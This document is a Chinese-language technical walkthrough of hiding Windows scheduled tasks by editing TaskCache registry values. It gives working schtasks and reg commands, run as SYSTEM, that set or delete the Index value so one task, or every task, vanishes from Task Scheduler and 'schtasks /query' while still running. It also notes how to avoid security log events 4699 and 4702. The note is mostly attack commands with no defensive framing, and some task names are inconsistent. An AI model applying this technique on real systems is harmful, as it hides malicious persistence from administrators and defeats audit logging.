Hide_Windows_Schtasks
通过删除 Windows 注册表路径 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
中的 SD 值来隐藏其计划任务
Threat Actor
创建每个计划任务时,会创建两个注册表子项
1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}
在 Tasks 路径中创建的第二个子项 {GUID}
与 Tree
子项中的 Id
值匹配
通过删除 SD 值,让命令失效
schtasks /query
当创建计划任务时,除了 Tree 和 Tasks 子项之外,还会创建一个子项。
取决于任务是否计划在引导时运行(由 schtasks /create
命令中的 /sc onstart
参数指示)或在 用户登录期间运行(由 schtasks /create
命令中的 /sc onlogon
参数指示)或在 除引导 或 登录
1. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot\{GUID}
2. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{GUID}
3. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{GUID}
Tree
子项中的 Index
值也与计划任务关联的第三个子项相关。
Index
值设置为 0x1 , 0x2 , 0x3
All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot has Index value of 0x1
2. All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon has Index value of 0x2
3. All tasks registered within the path HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\(Plain or Maintenance) has Index value of 0x3
每个计划任务都是启动或登录或普通或维护的一部分,因此索引似乎只有三个可能的值,即 0x1、0x2、0x3
。
-
隐藏特定的计划任务:将 Tree 子项中的 Index 值设置为 0x0 会在任务计划程序应用程序 和
schtasks /query
的输出中隐藏该任务。但是,即使系统重新启动,任务也会继续按照计划运行。尝试使用schtasks /change
命令修改索引设置为 0x0 的任务,该任务将被删除。但是,与计划任务删除对应的事件 ID 4699 不会报告到 Windows 安全事件日志。 -
隐藏所有计划任务:删除 Index 值会导致任务计划程序应用程序 和
schtasks /query
失败,并显示错误消息 “发生内部错误”,这实际上隐藏了所有计划任务。现有任务继续运行,并且仍然可以创建新任务。
将索引设置为任何其他值 0x4、0xffff
等不会隐藏计划任务,并且任务将继续按照其计划运行。
创建一个计划任务在任何用户登录的情况下执行
schtasks /create /tn TestTask /tr cmd.exe /sc onlogon /rl highest
schtasks /query | where {$_ -match "TestTask"}
TestTask N/A 就绪
查看三个键值
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{49C391EC-9065-4092-87DF-05F65CEBB0D1}
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{49C391EC-9065-4092-87DF-05F65CEBB0D1}
index
值为 2
Hide Scheduled Task
创建另一个计划任务,该任务以 SYSTEM 权限执行一次(在创建 ImpTask 之后),并将其 Index 值设置为 0x0
C:\Users\Administrator>schtasks /create /tn ModifyIndexTask /tr "reg add \"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask\" /v Index /t REG_DWORD /d 0x0 /f" /ru "NT AUTHORITY\SYSTEM" /rl highest /sc once /st "10:14"
# 成功: 成功创建计划任务 "ModifyIndexTask"。
设置为 0x0
, schtasks /query | findstr -i "TestTask"
无法查看
但是可以采用 \tn
PS C:\Users\Administrator> schtasks /query /tn "TestTask"
文件夹: \
任务名 下次运行时间 模式
======================================== ====================== ===============
TestTask N/A 就绪
PS C:\Users\Administrator> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\TestTask
SD REG_BINARY 01000480880000009800000000000000140000000200740004000000001018009F011F0001020000000000052000000020020000001014009F011F0001010000000000051200000000101800FF011F00010200000000000520000000200200000000240089001200010500000000000515000000B91F081A59F058001BA317BDF40100001200000001020000000000052000000020020000010500000000000515000000B91F081A59F058001BA317BD01020000
Id REG_SZ {49C391EC-9065-4092-87DF-05F65CEBB0D1}
Index REG_DWORD 0x0
使用 schtasks /change /tr
命令更改 TestTask
中的程序名称,任务将被删除,但是Windows日志不会报 4699 计划任务删除 和 4702 计划任务更新
但是使用 schtasks /delete
则会出现 4699
Hide All Schedyled Tasks
使用 SYSTEM 权限执行的计划任务并删除 TeskTask
子项中的 Index
值。
schtasks /create /tn ModifyIndexTask /tr "reg.exe delete \"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ImpTask\" /v Index /f" /ru "NT AUTHORITY\SYSTEM" /rl highest /sc once /st "10:20"
一旦删除了 TestTask
子项中的 Index
值,所有计划任务都会从任务计划程序应用程序 和 schtasks /query
命令的输出中消失,收到一条错误消息:“发生了内部错误”
即使在参数 /tn
中指定任务名称 TestTask
也不起作用
尽管不显示,但是他们仍然会执行每个计划任务,即使系统重新启动后,仍然无法查看计划任务。
schtasks /change
命令修改 会再次修改 index
值
使用 schtasks /delete
删除 TestTask
(删除索引值后)时,该命令失败并显示错误消息。接下来,当我们尝试使用 schtasks 更改 TestTask
时 /change
命令,TestTask
子项中的 Index
值已恢复,所有任务重新出现在 Task Scheduler 应用程序中,并且 schtasks /query
的执行也成功
而且必须要让 schtasks /delete
先执行,再执行 schtasks /change